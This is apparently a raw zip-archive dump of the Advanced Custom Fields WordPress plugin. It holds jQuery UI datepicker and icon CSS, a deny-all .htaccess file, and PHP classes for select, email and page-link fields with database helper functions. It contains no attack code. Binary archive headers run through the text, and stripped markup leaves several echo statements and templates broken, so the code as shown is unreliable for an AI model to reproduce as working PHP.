----------------------------------*/ .ui-acf .ui-state-highlight, .ui-acf .ui-widget-content .ui-state-highlight, .ui-acf .ui-widget-header .ui-state-highlight {border: 1px solid #1cb1f2; background: #5bc6f5 url(images/ui-bg_flat_55_5bc6f5_40x100.png) 50% 50% repeat-x; color: #ffffff; } .ui-acf .ui-state-highlight a, .ui-acf .ui-widget-content .ui-state-highlight a,.ui-widget-header .ui-state-highlight a { color: #ffffff; } .ui-acf .ui-state-error, .ui-acf .ui-widget-content .ui-state-error, .ui-acf .ui-widget-header .ui-state-error {border: 1px solid #cd0a0a; background: #fef1ec url(images/ui-bg_glass_95_fef1ec_1x400.png) 50% 50% repeat-x; color: #cd0a0a; } .ui-acf .ui-state-error a, .ui-acf .ui-widget-content .ui-state-error a, .ui-acf .ui-widget-header .ui-state-error a { color: #cd0a0a; } .ui-acf .ui-state-error-text, .ui-acf .ui-widget-content .ui-state-error-text, .ui-acf .ui-widget-header .ui-state-error-text { color: #cd0a0a; } .ui-acf .ui-priority-primary, .ui-acf .ui-widget-content .ui-priority-primary, .ui-acf .ui-widget-header .ui-priority-primary { font-weight: bold; } .ui-acf .ui-priority-secondary, .ui-acf .ui-widget-content .ui-priority-secondary, .ui-widget-header .ui-priority-secondary { opacity: .7; filter:Alpha(Opacity=70); font-weight: normal; } .ui-acf .ui-state-disabled, .ui-acf .ui-widget-content .ui-state-disabled, .ui-acf .ui-widget-header .ui-state-disabled { opacity: .35; filter:Alpha(Opacity=35); background-image: none; } /* Icons ----------------------------------*/ /* states and images */ .ui-acf .ui-icon { width: 16px; height: 16px; background-image: url(images/ui-icons_222222_256x240.png); } .ui-acf .ui-widget-content .ui-icon {background-image: url(images/ui-icons_222222_256x240.png); } .ui-acf .ui-widget-header .ui-icon {background-image: url(images/ui-icons_222222_256x240.png); } .ui-acf .ui-state-default .ui-icon { background-image: url(images/ui-icons_888888_256x240.png); } .ui-acf .ui-state-hover .ui-icon, .ui-acf .ui-state-focus .ui-icon {background-image: url(images/ui-icons_454545_256x240.png); } .ui-acf .ui-state-active .ui-icon {background-image: url(images/ui-icons_454545_256x240.png); } .ui-acf .ui-state-highlight .ui-icon {background-image: url(images/ui-icons_2e83ff_256x240.png); } .ui-acf .ui-state-error .ui-icon, .ui-acf .ui-state-error-text .ui-icon {background-image: url(images/ui-icons_cd0a0a_256x240.png); } /* positioning */ .ui-acf .ui-icon-carat-1-n { background-position: 0 0; } .ui-acf .ui-icon-carat-1-ne { background-position: -16px 0; } .ui-acf .ui-icon-carat-1-e { background-position: -32px 0; } .ui-acf .ui-icon-carat-1-se { background-position: -48px 0; } .ui-acf .ui-icon-carat-1-s { background-position: -64px 0; } .ui-acf .ui-icon-carat-1-sw { background-position: -80px 0; } .ui-acf .ui-icon-carat-1-w { background-position: -96px 0; } .ui-acf .ui-icon-carat-1-nw { background-position: -112px 0; } .ui-acf .ui-icon-carat-2-n-s { background-position: -128px 0; } .ui-acf .ui-icon-carat-2-e-w { background-position: -144px 0; } .ui-acf .ui-icon-triangle-1-n { background-position: 0 -16px; } .ui-acf .ui-icon-triangle-1-ne { background-position: -16px -16px; } .ui-acf .ui-icon-triangle-1-e { background-position: -32px -16px; } .ui-acf .ui-icon-triangle-1-se { background-position: -48px -16px; } .ui-acf .ui-icon-triangle-1-s { background-position: -64px -16px; } .ui-acf .ui-icon-triangle-1-sw { background-position: -80px -16px; } .ui-acf .ui-icon-triangle-1-w { background-position: -96px -16px; } .ui-acf .ui-icon-triangle-1-nw { background-position: -112px -16px; } .ui-acf .ui-icon-triangle-2-n-s { background-position: -128px -16px; } .ui-acf .ui-icon-triangle-2-e-w { background-position: -144px -16px; } .ui-acf .ui-icon-arrow-1-n { background-position: 0 -32px; } .ui-acf .ui-icon-arrow-1-ne { background-position: -16px -32px; } .ui-acf .ui-icon-arrow-1-e { background-position: -32px -32px; } .ui-acf .ui-icon-arrow-1-se { background-position: -48px -32px; } .ui-acf .ui-icon-arrow-1-s { background-position: -64px -32px; } .ui-acf .ui-icon-arrow-1-sw { background-position: -80px -32px; } .ui-acf .ui-icon-arrow-1-w { background-position: -96px -32px; } .ui-acf .ui-icon-arrow-1-nw { background-position: -112px -32px; } .ui-acf .ui-icon-arrow-2-n-s { background-position: -128px -32px; } .ui-acf .ui-icon-arrow-2-ne-sw { background-position: -144px -32px; } .ui-acf .ui-icon-arrow-2-e-w { background-position: -160px -32px; } .ui-acf .ui-icon-arrow-2-se-nw { background-position: -176px -32px; } .ui-acf .ui-icon-arrowstop-1-n { background-position: -192px -32px; } .ui-acf .ui-icon-arrowstop-1-e { background-position: -208px -32px; } .ui-acf .ui-icon-arrowstop-1-s { background-position: -224px -32px; } .ui-acf .ui-icon-arrowstop-1-w { background-position: -240px -32px; } .ui-acf .ui-icon-arrowthick-1-n { background-position: 0 -48px; } .ui-acf .ui-icon-arrowthick-1-ne { background-position: -16px -48px; } .ui-acf .ui-icon-arrowthick-1-e { background-position: -32px -48px; } .ui-acf .ui-icon-arrowthick-1-se { background-position: -48px -48px; } .ui-acf .ui-icon-arrowthick-1-s { background-position: -64px -48px; } .ui-acf .ui-icon-arrowthick-1-sw { background-position: -80px -48px; } .ui-acf .ui-icon-arrowthick-1-w { background-position: -96px -48px; } .ui-acf .ui-icon-arrowthick-1-nw { background-position: -112px -48px; } .ui-acf .ui-icon-arrowthick-2-n-s { background-position: -128px -48px; } .ui-acf .ui-icon-arrowthick-2-ne-sw { background-position: -144px -48px; } .ui-acf .ui-icon-arrowthick-2-e-w { background-position: -160px -48px; } .ui-acf .ui-icon-arrowthick-2-se-nw { background-position: -176px -48px; } .ui-acf .ui-icon-arrowthickstop-1-n { background-position: -192px -48px; } .ui-acf .ui-icon-arrowthickstop-1-e { background-position: -208px -48px; } .ui-acf .ui-icon-arrowthickstop-1-s { background-position: -224px -48px; } .ui-acf .ui-icon-arrowthickstop-1-w { background-position: -240px -48px; } .ui-acf .ui-icon-arrowreturnthick-1-w { background-position: 0 -64px; } .ui-acf .ui-icon-arrowreturnthick-1-n { background-position: -16px -64px; } .ui-acf .ui-icon-arrowreturnthick-1-e { background-position: -32px -64px; } .ui-acf .ui-icon-arrowreturnthick-1-s { background-position: -48px -64px; } .ui-acf .ui-icon-arrowreturn-1-w { background-position: -64px -64px; } .ui-acf .ui-icon-arrowreturn-1-n { background-position: -80px -64px; } .ui-acf .ui-icon-arrowreturn-1-e { background-position: -96px -64px; } .ui-acf .ui-icon-arrowreturn-1-s { background-position: -112px -64px; } .ui-acf .ui-icon-arrowrefresh-1-w { background-position: -128px -64px; } .ui-acf .ui-icon-arrowrefresh-1-n { background-position: -144px -64px; } .ui-acf .ui-icon-arrowrefresh-1-e { background-position: -160px -64px; } .ui-acf .ui-icon-arrowrefresh-1-s { background-position: -176px -64px; } .ui-acf .ui-icon-arrow-4 { background-position: 0 -80px; } .ui-acf .ui-icon-arrow-4-diag { background-position: -16px -80px; } .ui-acf .ui-icon-extlink { background-position: -32px -80px; } .ui-acf .ui-icon-newwin { background-position: -48px -80px; } .ui-acf .ui-icon-refresh { background-position: -64px -80px; } .ui-acf .ui-icon-shuffle { background-position: -80px -80px; } .ui-acf .ui-icon-transfer-e-w { background-position: -96px -80px; } .ui-acf .ui-icon-transferthick-e-w { background-position: -112px -80px; } .ui-acf .ui-icon-folder-collapsed { background-position: 0 -96px; } .ui-acf .ui-icon-folder-open { background-position: -16px -96px; } .ui-acf .ui-icon-document { background-position: -32px -96px; } .ui-acf .ui-icon-document-b { background-position: -48px -96px; } .ui-acf .ui-icon-note { background-position: -64px -96px; } .ui-acf .ui-icon-mail-closed { background-position: -80px -96px; } .ui-acf .ui-icon-mail-open { background-position: -96px -96px; } .ui-acf .ui-icon-suitcase { background-position: -112px -96px; } .ui-acf .ui-icon-comment { background-position: -128px -96px; } .ui-acf .ui-icon-person { background-position: -144px -96px; } .ui-acf .ui-icon-print { background-position: -160px -96px; } .ui-acf .ui-icon-trash { background-position: -176px -96px; } .ui-acf .ui-icon-locked { background-position: -192px -96px; } .ui-acf .ui-icon-unlocked { background-position: -208px -96px; } .ui-acf .ui-icon-bookmark { background-position: -224px -96px; } .ui-acf .ui-icon-tag { background-position: -240px -96px; } .ui-acf .ui-icon-home { background-position: 0 -112px; } .ui-acf .ui-icon-flag { background-position: -16px -112px; } .ui-acf .ui-icon-calendar { background-position: -32px -112px; } .ui-acf .ui-icon-cart { background-position: -48px -112px; } .ui-acf .ui-icon-pencil { background-position: -64px -112px; } .ui-acf .ui-icon-clock { background-position: -80px -112px; } .ui-acf .ui-icon-disk { background-position: -96px -112px; } .ui-acf .ui-icon-calculator { background-position: -112px -112px; } .ui-acf .ui-icon-zoomin { background-position: -128px -112px; } .ui-acf .ui-icon-zoomout { background-position: -144px -112px; } .ui-acf .ui-icon-search { background-position: -160px -112px; } .ui-acf .ui-icon-wrench { background-position: -176px -112px; } .ui-acf .ui-icon-gear { background-position: -192px -112px; } .ui-acf .ui-icon-heart { background-position: -208px -112px; } .ui-acf .ui-icon-star { background-position: -224px -112px; } .ui-acf .ui-icon-link { background-position: -240px -112px; } .ui-acf .ui-icon-cancel { background-position: 0 -128px; } .ui-acf .ui-icon-plus { background-position: -16px -128px; } .ui-acf .ui-icon-plusthick { background-position: -32px -128px; } .ui-acf .ui-icon-minus { background-position: -48px -128px; } .ui-acf .ui-icon-minusthick { background-position: -64px -128px; } .ui-acf .ui-icon-close { background-position: -80px -128px; } .ui-acf .ui-icon-closethick { background-position: -96px -128px; } .ui-acf .ui-icon-key { background-position: -112px -128px; } .ui-acf .ui-icon-lightbulb { background-position: -128px -128px; } .ui-acf .ui-icon-scissors { background-position: -144px -128px; } .ui-acf .ui-icon-clipboard { background-position: -160px -128px; } .ui-acf .ui-icon-copy { background-position: -176px -128px; } .ui-acf .ui-icon-contact { background-position: -192px -128px; } .ui-acf .ui-icon-image { background-position: -208px -128px; } .ui-acf .ui-icon-video { background-position: -224px -128px; } .ui-acf .ui-icon-script { background-position: -240px -128px; } .ui-acf .ui-icon-alert { background-position: 0 -144px; } .ui-acf .ui-icon-info { background-position: -16px -144px; } .ui-acf .ui-icon-notice { background-position: -32px -144px; } .ui-acf .ui-icon-help { background-position: -48px -144px; } .ui-acf .ui-icon-check { background-position: -64px -144px; } .ui-acf .ui-icon-bullet { background-position: -80px -144px; } .ui-acf .ui-icon-radio-off { background-position: -96px -144px; } .ui-acf .ui-icon-radio-on { background-position: -112px -144px; } .ui-acf .ui-icon-pin-w { background-position: -128px -144px; } .ui-acf .ui-icon-pin-s { background-position: -144px -144px; } .ui-acf .ui-icon-play { background-position: 0 -160px; } .ui-acf .ui-icon-pause { background-position: -16px -160px; } .ui-acf .ui-icon-seek-next { background-position: -32px -160px; } .ui-acf .ui-icon-seek-prev { background-position: -48px -160px; } .ui-acf .ui-icon-seek-end { background-position: -64px -160px; } .ui-acf .ui-icon-seek-start { background-position: -80px -160px; } /* ui-icon-seek-first is deprecated, use ui-icon-seek-start instead */ .ui-acf .ui-icon-seek-first { background-position: -80px -160px; } .ui-acf .ui-icon-stop { background-position: -96px -160px; } .ui-acf .ui-icon-eject { background-position: -112px -160px; } .ui-acf .ui-icon-volume-off { background-position: -128px -160px; } .ui-acf .ui-icon-volume-on { background-position: -144px -160px; } .ui-acf .ui-icon-power { background-position: 0 -176px; } .ui-acf .ui-icon-signal-diag { background-position: -16px -176px; } .ui-acf .ui-icon-signal { background-position: -32px -176px; } .ui-acf .ui-icon-battery-0 { background-position: -48px -176px; } .ui-acf .ui-icon-battery-1 { background-position: -64px -176px; } .ui-acf .ui-icon-battery-2 { background-position: -80px -176px; } .ui-acf .ui-icon-battery-3 { background-position: -96px -176px; } .ui-acf .ui-icon-circle-plus { background-position: 0 -192px; } .ui-acf .ui-icon-circle-minus { background-position: -16px -192px; } .ui-acf .ui-icon-circle-close { background-position: -32px -192px; } .ui-acf .ui-icon-circle-triangle-e { background-position: -48px -192px; } .ui-acf .ui-icon-circle-triangle-s { background-position: -64px -192px; } .ui-acf .ui-icon-circle-triangle-w { background-position: -80px -192px; } .ui-acf .ui-icon-circle-triangle-n { background-position: -96px -192px; } .ui-acf .ui-icon-circle-arrow-e { background-position: -112px -192px; } .ui-acf .ui-icon-circle-arrow-s { background-position: -128px -192px; } .ui-acf .ui-icon-circle-arrow-w { background-position: -144px -192px; } .ui-acf .ui-icon-circle-arrow-n { background-position: -160px -192px; } .ui-acf .ui-icon-circle-zoomin { background-position: -176px -192px; } .ui-acf .ui-icon-circle-zoomout { background-position: -192px -192px; } .ui-acf .ui-icon-circle-check { background-position: -208px -192px; } .ui-acf .ui-icon-circlesmall-plus { background-position: 0 -208px; } .ui-acf .ui-icon-circlesmall-minus { background-position: -16px -208px; } .ui-acf .ui-icon-circlesmall-close { background-position: -32px -208px; } .ui-acf .ui-icon-squaresmall-plus { background-position: -48px -208px; } .ui-acf .ui-icon-squaresmall-minus { background-position: -64px -208px; } .ui-acf .ui-icon-squaresmall-close { background-position: -80px -208px; } .ui-acf .ui-icon-grip-dotted-vertical { background-position: 0 -224px; } .ui-acf .ui-icon-grip-dotted-horizontal { background-position: -16px -224px; } .ui-acf .ui-icon-grip-solid-vertical { background-position: -32px -224px; } .ui-acf .ui-icon-grip-solid-horizontal { background-position: -48px -224px; } .ui-acf .ui-icon-gripsmall-diagonal-se { background-position: -64px -224px; } .ui-acf .ui-icon-grip-diagonal-se { background-position: -80px -224px; } /* Misc visuals ----------------------------------*/ /* Corner radius */ .ui-acf .ui-corner-all, .ui-acf .ui-corner-top, .ui-acf .ui-corner-left, .ui-acf .ui-corner-tl { -moz-border-radius-topleft: 4px; -webkit-border-top-left-radius: 4px; -khtml-border-top-left-radius: 4px; border-top-left-radius: 4px; } .ui-acf .ui-corner-all, .ui-acf .ui-corner-top, .ui-acf .ui-corner-right, .ui-acf .ui-corner-tr { -moz-border-radius-topright: 4px; -webkit-border-top-right-radius: 4px; -khtml-border-top-right-radius: 4px; border-top-right-radius: 4px; } .ui-acf .ui-corner-all, .ui-acf .ui-corner-bottom, .ui-acf .ui-corner-left, .ui-acf .ui-corner-bl { -moz-border-radius-bottomleft: 4px; -webkit-border-bottom-left-radius: 4px; -khtml-border-bottom-left-radius: 4px; border-bottom-left-radius: 4px; } .ui-acf .ui-corner-all, .ui-acf .ui-corner-bottom, .ui-acf .ui-corner-right, .ui-acf .ui-corner-br { -moz-border-radius-bottomright: 4px; -webkit-border-bottom-right-radius: 4px; -khtml-border-bottom-right-radius: 4px; border-bottom-right-radius: 4px; } /* Overlays */ .ui-acf .ui-widget-overlay { background: #aaaaaa url(images/ui-bg_flat_0_aaaaaa_40x100.png) 50% 50% repeat-x; opacity: .30;filter:Alpha(Opacity=30); } .ui-acf .ui-widget-shadow { margin: -8px 0 0 -8px; padding: 8px; background: #aaaaaa url(images/ui-bg_flat_0_aaaaaa_40x100.png) 50% 50% repeat-x; opacity: .30;filter:Alpha(Opacity=30); -moz-border-radius: 8px; -khtml-border-radius: 8px; -webkit-border-radius: 8px; border-radius: 8px; }/* * jQuery UI Datepicker 1.8.14 * * Copyright 2011, AUTHORS.txt (http://jqueryui.com/about) * Dual licensed under the MIT or GPL Version 2 licenses. * http://jquery.org/license * * http://docs.jquery.com/UI/Datepicker#theming */ .ui-acf .ui-datepicker { width: 17em; padding: .2em .2em 0; display: none; border-radius: 0 !important; } .ui-acf .ui-datepicker .ui-datepicker-header { } .ui-acf .ui-datepicker .ui-datepicker-prev, .ui-acf .ui-datepicker .ui-datepicker-next { position:absolute; top: 2px; width: 1.8em; height: 1.8em; display: none; } .ui-acf .ui-datepicker .ui-datepicker-prev-hover, .ui-acf .ui-datepicker .ui-datepicker-next-hover { top: 1px; } .ui-acf .ui-datepicker .ui-datepicker-prev { left:2px; } .ui-acf .ui-datepicker .ui-datepicker-next { right:2px; } .ui-acf .ui-datepicker .ui-datepicker-prev-hover { left:1px; } .ui-acf .ui-datepicker .ui-datepicker-next-hover { right:1px; } .ui-acf .ui-datepicker .ui-datepicker-prev span, .ui-acf .ui-datepicker .ui-datepicker-next span { display: block; position: absolute; left: 50%; margin-left: -8px; top: 50%; margin-top: -8px; } .ui-acf .ui-datepicker .ui-datepicker-title { margin: 0; } .ui-acf .ui-datepicker .ui-datepicker-title select { font-size:1em; margin:0 0 0 2%; } .ui-acf .ui-datepicker select.ui-datepicker-month-year {width: 100%;} .ui-acf .ui-datepicker select.ui-datepicker-month, .ui-acf .ui-datepicker select.ui-datepicker-year { width: 47%; padding: 1px; font-size: 12px; font-weight: normal;} .ui-acf .ui-datepicker table {width: 100%; font-size: .9em; border-collapse: collapse; margin:0 0 .4em; } .ui-acf .ui-datepicker th { padding: .7em .3em; text-align: center; font-weight: bold; border: 0; width: 14%; } .ui-acf .ui-datepicker td { border: 0; padding: 1px; } .ui-acf .ui-datepicker td span, .ui-acf .ui-datepicker td a { display: block; padding: .2em; text-align: right; text-decoration: none; } .ui-acf .ui-datepicker .ui-datepicker-buttonpane { background-image: none; margin: .7em 0 0 0; padding:0 .2em; border-left: 0; border-right: 0; border-bottom: 0; } .ui-acf .ui-datepicker .ui-datepicker-buttonpane button { float: right; margin: .5em .2em .4em; cursor: pointer; padding: .2em .6em .3em .6em; width:auto; overflow:visible; } .ui-acf .ui-datepicker .ui-datepicker-buttonpane button.ui-datepicker-current { float:left; } /* with multiple calendars */ .ui-acf .ui-datepicker.ui-datepicker-multi { width:auto; } .ui-acf .ui-datepicker-multi .ui-datepicker-group { float:left; } .ui-acf .ui-datepicker-multi .ui-datepicker-group table { width:95%; margin:0 auto .4em; } .ui-acf .ui-datepicker-multi-2 .ui-datepicker-group { width:50%; } .ui-acf .ui-datepicker-multi-3 .ui-datepicker-group { width:33.3%; } .ui-acf .ui-datepicker-multi-4 .ui-datepicker-group { width:25%; } .ui-acf .ui-datepicker-multi .ui-datepicker-group-last .ui-datepicker-header { border-left-width:0; } .ui-acf .ui-datepicker-multi .ui-datepicker-group-middle .ui-datepicker-header { border-left-width:0; } .ui-acf .ui-datepicker-multi .ui-datepicker-buttonpane { clear:left; } .ui-acf .ui-datepicker-row-break { clear:both; width:100%; font-size:0em; } /* RTL support */ .ui-acf .ui-datepicker-rtl { direction: rtl; } .ui-acf .ui-datepicker-rtl .ui-datepicker-prev { right: 2px; left: auto; } .ui-acf .ui-datepicker-rtl .ui-datepicker-next { left: 2px; right: auto; } .ui-acf .ui-datepicker-rtl .ui-datepicker-prev:hover { right: 1px; left: auto; } .ui-acf .ui-datepicker-rtl .ui-datepicker-next:hover { left: 1px; right: auto; } .ui-acf .ui-datepicker-rtl .ui-datepicker-buttonpane { clear:right; } .ui-acf .ui-datepicker-rtl .ui-datepicker-buttonpane button { float: left; } .ui-acf .ui-datepicker-rtl .ui-datepicker-buttonpane button.ui-datepicker-current { float:right; } .ui-acf .ui-datepicker-rtl .ui-datepicker-group { float:right; } .ui-acf .ui-datepicker-rtl .ui-datepicker-group-last .ui-datepicker-header { border-right-width:0; border-left-width:1px; } .ui-acf .ui-datepicker-rtl .ui-datepicker-group-middle .ui-datepicker-header { border-right-width:0; border-left-width:1px; } /* IE6 IFRAME FIX (taken from datepicker 1.5.3 */ .ui-acf .ui-datepicker-cover { display: none; /*sorry for IE5*/ display/**/: block; /*sorry for IE5*/ position: absolute; /*must have*/ z-index: -1; /*must have*/ filter: mask(); /*must have*/ top: -4px; /*must have*/ left: -4px; /*must have*/ width: 200px; /*must have*/ height: 200px; /*must have*/ } .ui-acf .ui-datepicker .ui-datepicker-buttonpane { background: #EAF2FA; border-top: 1px solid #E1E1E1; width: 100%; padding: 3px; margin: 0; margin: 0 0 0 -3px; position: relative; overflow: hidden; } .ui-acf .ui-datepicker .ui-datepicker-buttonpane button { margin: 0; padding: 0px; font-size: 12px; background: transparent; border: 0 none; text-shadow: 0 1px 0 #FFFFFF; color: #7A9BBE; opacity: 1; display: block;line-height: 1em; padding: 5px; } .ui-acf .ui-datepicker .ui-state-highlight { background: #EAF2FA; color: #555555; border: 1px solid #95B1CE; } .ui-acf .ui-datepicker .ui-state-active { background: #2EA2CC; color: #FFFFFF; border: #0074A2 solid 1px; }PK;hZ0{{fields/date_picker/.htaccessnuW+A Order allow,deny Deny from all PK;hZM>ɰfields/select.phpnuW+Aname = 'select'; $this->label = __("Select",'acf'); $this->category = __("Choice",'acf'); $this->defaults = array( 'multiple' => 0, 'allow_null' => 0, 'choices' => array(), 'default_value' => '' ); // do not delete! parent::__construct(); // extra //add_filter('acf/update_field/type=select', array($this, 'update_field'), 5, 2); add_filter('acf/update_field/type=checkbox', array($this, 'update_field'), 5, 2); add_filter('acf/update_field/type=radio', array($this, 'update_field'), 5, 2); } /* * create_field() * * Create the HTML interface for your field * * @param $field - an array holding all the field's data * * @type action * @since 3.6 * @date 23/01/13 */ function create_field( $field ) { // vars $optgroup = false; // determine if choices are grouped (2 levels of array) if( is_array($field['choices']) ) { foreach( $field['choices'] as $k => $v ) { if( is_array($v) ) { $optgroup = true; } } } // value must be array if( !is_array($field['value']) ) { // perhaps this is a default value with new lines in it? if( strpos($field['value'], "\n") !== false ) { // found multiple lines, explode it $field['value'] = explode("\n", $field['value']); } else { $field['value'] = array( $field['value'] ); } } // trim value $field['value'] = array_map('trim', $field['value']); // multiple select $multiple = ''; if( $field['multiple'] ) { // create a hidden field to allow for no selections echo ''; $multiple = ' multiple="multiple" size="5" '; $field['name'] .= '[]'; } // html echo ''; } /* * create_options() * * Create extra options for your field. This is rendered when editing a field. * The value of $field['name'] can be used (like bellow) to save extra data to the $field * * @type action * @since 3.6 * @date 23/01/13 * * @param $field - an array holding all the field's data */ function create_options( $field ) { $key = $field['name']; // implode choices so they work in a textarea if( is_array($field['choices']) ) { foreach( $field['choices'] as $k => $v ) { $field['choices'][ $k ] = $k . ' : ' . $v; } $field['choices'] = implode("\n", $field['choices']); } ?>


'textarea', 'class' => 'textarea field_option-choices', 'name' => 'fields['.$key.'][choices]', 'value' => $field['choices'], )); ?>

'textarea', 'name' => 'fields['.$key.'][default_value]', 'value' => $field['default_value'], )); ?> 'radio', 'name' => 'fields['.$key.'][allow_null]', 'value' => $field['allow_null'], 'choices' => array( 1 => __("Yes",'acf'), 0 => __("No",'acf'), ), 'layout' => 'horizontal', )); ?> 'radio', 'name' => 'fields['.$key.'][multiple]', 'value' => $field['multiple'], 'choices' => array( 1 => __("Yes",'acf'), 0 => __("No",'acf'), ), 'layout' => 'horizontal', )); ?> value foreach($field['choices'] as $choice) { if(strpos($choice, ' : ') !== false) { $choice = explode(' : ', $choice); $new_choices[ trim($choice[0]) ] = trim($choice[1]); } else { $new_choices[ trim($choice) ] = trim($choice); } } } // update choices $field['choices'] = $new_choices; return $field; } } new acf_field_select(); ?> PK;hZ)[ fields/email.phpnuW+Aname = 'email'; $this->label = __("Email",'acf'); $this->defaults = array( 'default_value' => '', 'placeholder' => '', 'prepend' => '', 'append' => '' ); // do not delete! parent::__construct(); } /* * create_field() * * Create the HTML interface for your field * * @param $field - an array holding all the field's data * * @type action * @since 3.6 * @date 23/01/13 */ function create_field( $field ) { // vars $o = array( 'id', 'class', 'name', 'value', 'placeholder' ); $e = ''; // prepend if( $field['prepend'] !== "" ) { $field['class'] .= ' acf-is-prepended'; $e .= '
' . $field['prepend'] . '
'; } // append if( $field['append'] !== "" ) { $field['class'] .= ' acf-is-appended'; $e .= '
' . $field['append'] . '
'; } $e .= '
'; $e .= '

'text', 'name' => 'fields['.$key.'][default_value]', 'value' => $field['default_value'], )); ?>

'text', 'name' => 'fields[' .$key.'][placeholder]', 'value' => $field['placeholder'], )); ?>

'text', 'name' => 'fields[' .$key.'][prepend]', 'value' => $field['prepend'], )); ?>

'text', 'name' => 'fields[' .$key.'][append]', 'value' => $field['append'], )); ?> PK;hZ+22fields/_functions.phpnuW+A http://core.trac.wordpress.org/browser/tags/3.4.2/wp-includes/meta.php#L82: line 101 (does use stripslashes_deep) // update_option -> http://core.trac.wordpress.org/browser/tags/3.5.1/wp-includes/option.php#L0: line 215 (does not use stripslashes_deep) $value = stripslashes_deep($value); $this->update_option( $post_id . '_' . $field['name'], $value ); $this->update_option( '_' . $post_id . '_' . $field['name'], $field['key'] ); } // update the cache wp_cache_set( 'load_value/post_id=' . $post_id . '/name=' . $field['name'], $value, 'acf' ); } /* * update_option * * This function is a wrapper for the WP update_option but provides logic for a 'no' autoload * * @type function * @date 4/01/2014 * @since 5.0.0 * * @param $option (string) * @param $value (mixed) * @return (boolean) */ function update_option( $option = '', $value = false, $autoload = 'no' ) { // vars $deprecated = ''; $return = false; if( get_option($option) !== false ) { $return = update_option( $option, $value ); } else { $return = add_option( $option, $value, $deprecated, $autoload ); } // return return $return; } /* * delete_value * * @description: deletes a value from the database * @since: 3.6 * @created: 23/01/13 */ function delete_value( $post_id, $key ) { // if $post_id is a string, then it is used in the everything fields and can be found in the options table if( is_numeric($post_id) ) { delete_post_meta( $post_id, $key ); delete_post_meta( $post_id, '_' . $key ); } elseif( strpos($post_id, 'user_') !== false ) { $post_id = str_replace('user_', '', $post_id); delete_user_meta( $post_id, $key ); delete_user_meta( $post_id, '_' . $key ); } else { delete_option( $post_id . '_' . $key ); delete_option( '_' . $post_id . '_' . $key ); } wp_cache_delete( 'load_value/post_id=' . $post_id . '/name=' . $key, 'acf' ); } /* * load_field * * @description: loads a field from the database * @since 3.5.1 * @created: 14/10/12 */ function load_field( $field, $field_key, $post_id = false ) { // load cache if( !$field ) { $field = wp_cache_get( 'load_field/key=' . $field_key, 'acf' ); } // load from DB if( !$field ) { // vars global $wpdb; // get field from postmeta $sql = $wpdb->prepare("SELECT post_id, meta_value FROM $wpdb->postmeta WHERE meta_key = %s", $field_key); if( $post_id ) { $sql .= $wpdb->prepare("AND post_id = %d", $post_id); } $rows = $wpdb->get_results( $sql, ARRAY_A ); // nothing found? if( !empty($rows) ) { $row = $rows[0]; /* * WPML compatibility * * If WPML is active, and the $post_id (Field group ID) was not defined, * it is assumed that the load_field functio has been called from the API (front end). * In this case, the field group ID is never known and we can check for the correct translated field group */ if( defined('ICL_LANGUAGE_CODE') && !$post_id ) { $wpml_post_id = icl_object_id($row['post_id'], 'acf', true, ICL_LANGUAGE_CODE); foreach( $rows as $r ) { if( $r['post_id'] == $wpml_post_id ) { // this row is a field from the translated field group $row = $r; } } } // return field if it is not in a trashed field group if( get_post_status( $row['post_id'] ) != "trash" ) { $field = $row['meta_value']; $field = maybe_unserialize( $field ); $field = maybe_unserialize( $field ); // run again for WPML // add field_group ID $field['field_group'] = $row['post_id']; } } } // apply filters $field = apply_filters('acf/load_field_defaults', $field); // apply filters foreach( array('type', 'name', 'key') as $key ) { // run filters $field = apply_filters('acf/load_field/' . $key . '=' . $field[ $key ], $field); // new filter } // set cache wp_cache_set( 'load_field/key=' . $field_key, $field, 'acf' ); return $field; } /* * load_field_defaults * * @description: applies default values to the field after it has been loaded * @since 3.5.1 * @created: 14/10/12 */ function load_field_defaults( $field ) { // validate $field if( !is_array($field) ) { $field = array(); } // defaults $defaults = array( 'key' => '', 'label' => '', 'name' => '', '_name' => '', 'type' => 'text', 'order_no' => 1, 'instructions' => '', 'required' => 0, 'id' => '', 'class' => '', 'conditional_logic' => array( 'status' => 0, 'allorany' => 'all', 'rules' => 0 ), ); $field = array_merge($defaults, $field); // Parse Values $field = apply_filters( 'acf/parse_types', $field ); // field specific defaults $field = apply_filters('acf/load_field_defaults/type=' . $field['type'] , $field); // class if( !$field['class'] ) { $field['class'] = $field['type']; } // id if( !$field['id'] ) { $id = $field['name']; $id = str_replace('][', '_', $id); $id = str_replace('fields[', '', $id); $id = str_replace('[', '-', $id); // location rules (select) does'nt have "fields[" in it $id = str_replace(']', '', $id); $field['id'] = 'acf-field-' . $id; } // _name if( !$field['_name'] ) { $field['_name'] = $field['name']; } // clean up conditional logic keys if( !empty($field['conditional_logic']['rules']) ) { $field['conditional_logic']['rules'] = array_values($field['conditional_logic']['rules']); } // return return $field; } /* * update_field * * @description: updates a field in the database * @since: 3.6 * @created: 24/01/13 */ function update_field( $field, $post_id ) { // sanitize field name // - http://support.advancedcustomfields.com/discussion/5262/sanitize_title-on-field-name // - issue with camel case! Replaced with JS //$field['name'] = sanitize_title( $field['name'] ); // filters $field = apply_filters('acf/update_field/type=' . $field['type'], $field, $post_id ); // new filter // clear cache wp_cache_delete( 'load_field/key=' . $field['key'], 'acf' ); // save update_post_meta( $post_id, $field['key'], $field ); } /* * delete_field * * @description: deletes a field in the database * @since: 3.6 * @created: 24/01/13 */ function delete_field( $post_id, $field_key ) { // clear cache wp_cache_delete( 'load_field/key=' . $field_key, 'acf' ); // delete delete_post_meta($post_id, $field_key); } /* * create_field * * @description: renders a field into a HTML interface * @since: 3.6 * @created: 23/01/13 */ function create_field( $field ) { // load defaults // if field was loaded from db, these default will already be appield // if field was written by hand, it may be missing keys $field = apply_filters('acf/load_field_defaults', $field); // create field specific html do_action('acf/create_field/type=' . $field['type'], $field); // conditional logic if( $field['conditional_logic']['status'] ) { $field['conditional_logic']['field'] = $field['key']; ?> PK;hZ_΂fields/page_link.phpnuW+Aname = 'page_link'; $this->label = __("Page Link",'acf'); $this->category = __("Relational",'acf'); $this->defaults = array( 'post_type' => array('all'), 'multiple' => 0, 'allow_null' => 0, ); // do not delete! parent::__construct(); } /* * load_field() * * This filter is appied to the $field after it is loaded from the database * * @type filter * @since 3.6 * @date 23/01/13 * * @param $field - the field array holding all the field options * * @return $field - the field array holding all the field options */ function load_field( $field ) { // validate post_type if( !$field['post_type'] || !is_array($field['post_type']) || in_array('', $field['post_type']) ) { $field['post_type'] = array( 'all' ); } // return return $field; } /* * create_field() * * Create the HTML interface for your field * * @param $field - an array holding all the field's data * * @type action * @since 3.6 * @date 